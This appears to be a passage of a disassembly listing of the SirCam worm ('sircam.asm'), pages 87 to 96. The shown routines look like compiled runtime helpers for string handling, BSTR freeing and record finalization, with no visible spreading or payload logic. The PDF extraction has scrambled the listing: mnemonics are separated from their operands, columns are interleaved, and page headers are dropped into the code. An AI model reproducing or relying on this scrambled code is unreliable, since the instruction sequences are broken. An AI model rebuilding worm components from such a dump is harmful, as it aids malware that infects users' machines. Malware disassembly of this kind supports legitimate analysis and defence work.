short loc_4038AB
ecx, [esi]
ebx, [edi]
cl, bl
short loc_4038D2
edx
short loc_4038AB
ch, bh
short loc_4038D2
edx
short loc_4038AB
ebx, 0FF0000h
ecx, 0FF0000h
ecx, ebx
short loc_4038D2
loc_4038AB:
; CODE XREF: sub_403834+53\030j
; sub_403834+5E\030j ...
add
eax, eax
jmp
short loc_4038D2
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4038AF:
; CODE XREF: sub_403834+11\030j
mov
edx, [edi-4]
sub
eax, edx
jmp
short loc_4038D2
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4038B6:
; CODE XREF: sub_403834+15\030j
mov
eax, [esi-4]
sub
eax, edx
jmp
short loc_4038D2
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4038BD:
; CODE XREF: sub_403834+2F\030j
; sub_403834+3C\030j
pop
cmp
jnz
cmp
jnz
shr
shr
cmp
jnz
cmp
edx
cl, bl
short loc_4038D2
ch, bh
short loc_4038D2
ecx, 10h
ebx, 10h
cl, bl
short loc_4038D2
ch, bh
loc_4038D2:
sub_403834
; CODE XREF: sub_403834+9\030j
; sub_403834+5B\030j ...
pop
pop
pop
retn
endp
edi
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4038D8
proc near
; CODE XREF: sub_40EDA4+1E\031p
; sub_40F230+20\031p ...
sircam.asm
Fri Aug 10 12:42:44 2001
87
test
eax, eax
jz
short locret_4038E6
mov
edx, [eax-8]
inc
edx
jle
short locret_4038E6
lock inc
dword ptr [eax-8]
locret_4038E6:
sub_4038D8
; CODE XREF: sub_4038D8+2\030j
; sub_4038D8+8\030j
retn
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4038E8
proc near
; CODE XREF: sub_403F9C+30\031p
; sub_406E64+10\031p ...
test
eax, eax
jz
short loc_4038EE
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
byte_4038ED
db 0
; DATA XREF: sub_4038E8+6\031o
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4038EE:
sub_4038E8
mov
retn
endp
; CODE XREF: sub_4038E8+2\030j
eax, offset byte_4038ED
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4038F4
proc near
; CODE XREF: sub_40396C+9\031p
; sub_40DEB0+25\031p ...
mov
edx, [eax]
test
edx, edx
jz
short loc_403926
mov
ecx, [edx-8]
dec
ecx
jz
short loc_403926
push
ebx
mov
ebx, eax
mov
eax, [edx-4]
call
sub_40358C
mov
edx, eax
mov
eax, [ebx]
mov
[ebx], edx
mov
ecx, [eax-8]
dec
ecx
jl
short loc_40391B
lock dec
dword ptr [eax-8]
loc_40391B:
; CODE XREF: sub_4038F4+21\030j
mov
call
mov
pop
ecx, [eax-4]
sub_4026B0
edx, [ebx]
ebx
loc_403926:
sub_4038F4
; CODE XREF: sub_4038F4+4\030j
; sub_4038F4+A\030j
mov
retn
endp
eax, edx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
sircam.asm
Fri Aug 10 12:42:44 2001
88
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40392C
proc near
arg_0
= dword ptr
; CODE XREF: sub_406E9C+43\031p
; sub_406EEC+28\031p ...
8
push
test
jz
mov
test
jz
dec
jl
cmp
jge
ebx
eax, eax
short loc_40395E
ebx, [eax-4]
ebx, ebx
short loc_40395E
edx
short loc_403956
edx, ebx
short loc_40395E
sub
test
jl
cmp
jg
ebx, edx
ecx, ecx
short loc_40395E
ecx, ebx
short loc_40395A
loc_40393F:
; CODE XREF: sub_40392C+2C\031j
loc_403949:
; CODE XREF: sub_40392C+30\031j
add
edx, eax
mov
eax, [esp+arg_0]
call
sub_4035B0
jmp
short loc_403967
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_403956:
; CODE XREF: sub_40392C+D\030j
xor
edx, edx
jmp
short loc_40393F
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40395A:
; CODE XREF: sub_40392C+1B\030j
mov
ecx, ebx
jmp
short loc_403949
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40395E:
; CODE XREF: sub_40392C+3\030j
; sub_40392C+A\030j ...
mov
call
eax, [esp+arg_0]
sub_4034C8
pop
retn
endp
ebx
4
loc_403967:
sub_40392C
; CODE XREF: sub_40392C+28\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
retn
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40396C
proc near
push
push
push
mov
mov
mov
call
mov
ebx
esi
edi
ebx, eax
esi, edx
edi, ecx
sub_4038F4
edx, [ebx]
; CODE XREF: sub_40E7C8+47\031p
; sub_40FCF0+137\031p ...
sircam.asm
Fri Aug 10 12:42:44 2001
test
jz
mov
dec
jl
cmp
jge
test
jle
sub
cmp
jle
mov
edx, edx
short loc_4039B0
ecx, [edx-4]
esi
short loc_4039B0
esi, ecx
short loc_4039B0
edi, edi
short loc_4039B0
ecx, esi
edi, ecx
short loc_403996
edi, ecx
sub
add
lea
call
mov
mov
mov
sub
call
ecx, edi
edx, esi
eax, [edx+edi]
sub_4026B0
edx, [ebx]
eax, ebx
edx, [edx-4]
edx, edi
sub_4039FC
loc_403996:
; CODE XREF: sub_40396C+26\030j
loc_4039B0:
sub_40396C
89
; CODE XREF: sub_40396C+12\030j
; sub_40396C+18\030j ...
pop
pop
pop
retn
endp
edi
esi
ebx
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4039B4
proc near
test
jz
test
jz
push
push
push
mov
mov
mov
push
mov
dec
js
mov
inc
sub
jle
; CODE XREF: sub_40FCF0+EC\031p
; sub_40FCF0+18A\031p ...
eax, eax
short locret_4039F8
edx, edx
short loc_4039ED
ebx
esi
edi
esi, eax
edi, edx
ecx, [edi-4]
edi
edx, [esi-4]
edx
short loc_4039E8
al, [esi]
esi
ecx, edx
short loc_4039E8
loc_4039D4:
; CODE XREF: sub_4039B4+32\031j
repne scasb
jnz
short loc_4039E8
mov
ebx, ecx
push
esi
push
edi
mov
ecx, edx
repe cmpsb
pop
edi
pop
esi
jz
short loc_4039F0
mov
ecx, ebx
sircam.asm
Fri Aug 10 12:42:44 2001
90
jmp
short loc_4039D4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4039E8:
; CODE XREF: sub_4039B4+17\030j
; sub_4039B4+1E\030j ...
pop
edx
xor
eax, eax
jmp
short loc_4039F5
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4039ED:
; CODE XREF: sub_4039B4+6\030j
xor
eax, eax
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4039F0:
; CODE XREF: sub_4039B4+2E\030j
pop
mov
sub
edx
eax, edi
eax, edx
pop
pop
pop
edi
esi
ebx
loc_4039F5:
; CODE XREF: sub_4039B4+37\030j
locret_4039F8:
sub_4039B4
; CODE XREF: sub_4039B4+2\030j
retn
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4039FC
proc near
; CODE XREF: sub_40372C+21\030p
; sub_40372C+38\030p ...
push
ebx
push
esi
push
edi
mov
ebx, eax
mov
esi, edx
xor
edi, edi
test
edx, edx
jz
short loc_403A51
mov
eax, [ebx]
test
eax, eax
jz
short loc_403A32
cmp
dword ptr [eax-8], 1
jnz
short loc_403A32
sub
eax, 8
add
edx, 9
push
eax
mov
eax, esp
call
sub_4025C8
pop
eax
add
eax, 8
mov
[ebx], eax
mov
[eax-4], esi
mov
byte ptr [eax+esi], 0
jmp
short loc_403A5A
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_403A32:
; CODE XREF: sub_4039FC+11\030j
; sub_4039FC+17\030j
mov
call
mov
mov
test
eax, edx
sub_40358C
edi, eax
eax, [ebx]
eax, eax
sircam.asm
Fri Aug 10 12:42:44 2001
jz
mov
mov
cmp
jl
mov
short loc_403A51
edx, edi
ecx, [eax-4]
ecx, esi
short loc_403A4C
ecx, esi
call
sub_4026B0
loc_403A4C:
; CODE XREF: sub_4039FC+4C\030j
loc_403A51:
; CODE XREF: sub_4039FC+B\030j
; sub_4039FC+43\030j
mov
call
mov
eax, ebx
sub_4034C8
[ebx], edi
pop
pop
pop
retn
endp
edi
esi
ebx
loc_403A5A:
sub_4039FC
91
; CODE XREF: sub_4039FC+34\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_403A60
proc near
; CODE XREF: sub_418438+4F\031p
xor
ecx, ecx
jmp
loc_403A68
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_403A68:
; CODE XREF: sub_403A60+2\030j
push
mov
mov
xor
test
jz
mov
sub
ebx
ebx, edx
edx, ecx
ecx, ecx
ebx, ebx
short loc_403A78
ecx, [ebx-4]
edx, ecx
push
call
pop
mov
pop
jmp
endp
ecx
sub_4051AF
ecx
edx, ebx
ebx
sub_405144
loc_403A78:
sub_403A60
; CODE XREF: sub_403A60+11\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_403A88:
; CODE XREF: sub_403ACC+1D\031j
mov
al, 1
jmp
sub_402618
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
retn
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_403A90
proc near
; CODE XREF: sub_403ACC+2\031j
; sub_403ACC+D\031j ...
sircam.asm
Fri Aug 10 12:42:44 2001
mov
test
jz
mov
push
push
call
pop
edx, [eax]
edx, edx
short locret_403AA4
dword ptr [eax], 0
eax
edx
j_SysFreeString
eax
locret_403AA4:
sub_403A90
92
; CODE XREF: sub_403A90+4\030j
retn
endp ; sp = -4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_403AA8
proc near
push
ebx
push
esi
mov
ebx, eax
mov
esi, edx
loc_403AAE:
mov
test
jz
mov
push
call
; CODE XREF: sub_403BE8+7A\031p
; CODE XREF: sub_403AA8+1C\031j
eax, [ebx]
eax, eax
short loc_403AC0
dword ptr [ebx], 0
eax
j_SysFreeString
loc_403AC0:
sub_403AA8
; CODE XREF: sub_403AA8+A\030j
add
ebx, 4
dec
esi
jnz
short loc_403AAE
pop
esi
pop
ebx
retn
endp ; sp = -4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_403ACC
proc near
; CODE XREF: sub_403CDC+81\031p
; sub_403DF8+61\031p
sub_403ACC
test
edx, edx
jz
sub_403A90
mov
ecx, [edx-4]
shr
ecx, 1
jz
sub_403A90
push
ecx
push
edx
push
eax
call
j_SysReAllocStringLen
test
eax, eax
jz
loc_403A88
retn
endp ; sp = -0Ch
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_403AF0
proc near
; CODE XREF: sub_403B1C+85\031p
; sub_417928+5E\031p
sircam.asm
Fri Aug 10 12:42:44 2001
xor
push
mov
push
push
mov
lea
mov
ecx, ecx
ebx
cl, [edx+1]
esi
edi
ebx, eax
esi, [edx+ecx+0Ah]
edi, [edx+ecx+6]
mov
mov
add
mov
call
add
dec
jg
pop
pop
pop
retn
endp
edx, [esi]
eax, [esi+4]
eax, ebx
edx, [edx]
sub_403BB0
esi, 8
edi
short loc_403B02
edi
esi
ebx
loc_403B02:
sub_403AF0
93
; CODE XREF: sub_403AF0+24\031j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_403B1C
proc near
; CODE XREF: sub_403B1C+6F\031p
; sub_403BB0+5\031j ...
push
ebx
push
esi
push
edi
mov
ebx, eax
mov
esi, edx
mov
edi, ecx
xor
edx, edx
mov
al, [esi]
mov
dl, [esi+1]
xor
ecx, ecx
cmp
al, 0Ah
jz
short loc_403B5B
cmp
al, 0Bh
jz
short loc_403B5B
cmp
al, 0Ch
jz
short loc_403B65
cmp
al, 0Dh
jz
short loc_403B78
cmp
al, 0Eh
jz
short loc_403B96
cmp
al, 0Fh
jz
short loc_403B5B
cmp
al, 11h
jz
short loc_403B5B
mov
al, 2
pop
edi
pop
esi
pop
ebx
jmp
sub_402618
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_403B5B:
; CODE XREF: sub_403B1C+15\030j
; sub_403B1C+1A\030j ...
mov
add
dec
jg
jmp
[ebx], ecx
ebx, 4
edi
short loc_403B5B
short loc_403BAA
sircam.asm
Fri Aug 10 12:42:44 2001
94
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_403B65:
; CODE XREF: sub_403B1C+1F\030j
; sub_403B1C+58\031j
mov
[ebx], ecx
mov
[ebx+4], ecx
mov
[ebx+8], ecx
mov
[ebx+0Ch], ecx
add
ebx, 10h
dec
edi
jg
short loc_403B65
jmp
short loc_403BAA
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_403B78:
; CODE XREF: sub_403B1C+24\030j
push
mov
ebp
ebp, edx
loc_403B7B:
; CODE XREF: sub_403B1C+75\031j
mov
edx, [esi+ebp+0Ah]
mov
eax, ebx
add
ebx, [esi+ebp+2]
mov
ecx, [esi+ebp+6]
mov
edx, [edx]
call
sub_403B1C
dec
edi
jg
short loc_403B7B
pop
ebp
jmp
short loc_403BAA
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_403B96:
; CODE XREF: sub_403B1C+29\030j
push
mov
ebp
ebp, edx
mov
add
mov
call
dec
jg
pop
eax, ebx
ebx, [esi+ebp+2]
edx, esi
sub_403AF0
edi
short loc_403B99
ebp
loc_403B99:
; CODE XREF: sub_403B1C+8B\031j
loc_403BAA:
sub_403B1C
; CODE XREF: sub_403B1C+47\030j
; sub_403B1C+5A\030j ...
pop
pop
pop
retn
endp
edi
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_403BB0
sub_403BB0
proc near
mov
ecx, 1
jmp
sub_403B1C
endp
; CODE XREF: sub_403AF0+1B\030p
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sircam.asm
sub_403BBC
Fri Aug 10 12:42:44 2001
proc near
; CODE XREF: sub_402B84+12\030p
; sub_403BE8+B9\031p ...
xor
push
mov
push
push
mov
lea
mov
ecx, ecx
ebx
cl, [edx+1]
esi
edi
ebx, eax
esi, [edx+ecx+0Ah]
edi, [edx+ecx+6]
mov
mov
add
mov
call
add
dec
jg
mov
pop
pop
pop
retn
endp
edx, [esi]
eax, [esi+4]
eax, ebx
edx, [edx]
sub_403CD0
esi, 8
edi
short loc_403BCE
eax, ebx
edi
esi
ebx
loc_403BCE:
sub_403BBC
95
; CODE XREF: sub_403BBC+24\031j
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_403BE8
proc near
; CODE XREF: sub_403BE8+A3\031p
; sub_403CD0+5\031j ...
cmp
ecx, 0
jz
locret_403CCE
push
eax
push
ebx
push
esi
push
edi
mov
ebx, eax
mov
esi, edx
mov
edi, ecx
xor
edx, edx
mov
al, [esi]
mov
dl, [esi+1]
cmp
al, 0Ah
jz
short loc_403C38
cmp
al, 0Bh
jz
short loc_403C52
cmp
al, 0Ch
jz
short loc_403C69
cmp
al, 0Dh
jz
short loc_403C78
cmp
al, 0Eh
jz
short loc_403C96
cmp
al, 0Fh
jz
loc_403CAC
cmp
al, 11h
jz
loc_403CBB
pop
edi
pop
esi
pop
ebx
pop
eax
mov
al, 2
jmp
sub_402618
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_403C38:
; CODE XREF: sub_403BE8+1D\030j
cmp
ecx, 1
sircam.asm
Fri Aug 10 12:42:44 2001
96
mov
eax, ebx
jg
short loc_403C49
call
sub_4034C8
jmp
loc_403CCA
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_403C49:
; CODE XREF: sub_403BE8+55\030j
mov
edx, ecx
call
sub_4034EC
jmp
short loc_403CCA
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_403C52:
; CODE XREF: sub_403BE8+22\030j
cmp
ecx, 1
mov
eax, ebx
jg
short loc_403C60
call
sub_403A90
jmp
short loc_403CCA
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_403C60:
; CODE XREF: sub_403BE8+6F\030j
mov
edx, ecx
call
sub_403AA8
jmp
short loc_403CCA
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_403C69:
; CODE XREF: sub_403BE8+27\030j
; sub_403BE8+8C\031j
mov
eax, ebx
add
ebx, 10h
call
sub_4043B8
dec
edi
jg
short loc_403C69
jmp
short loc_403CCA
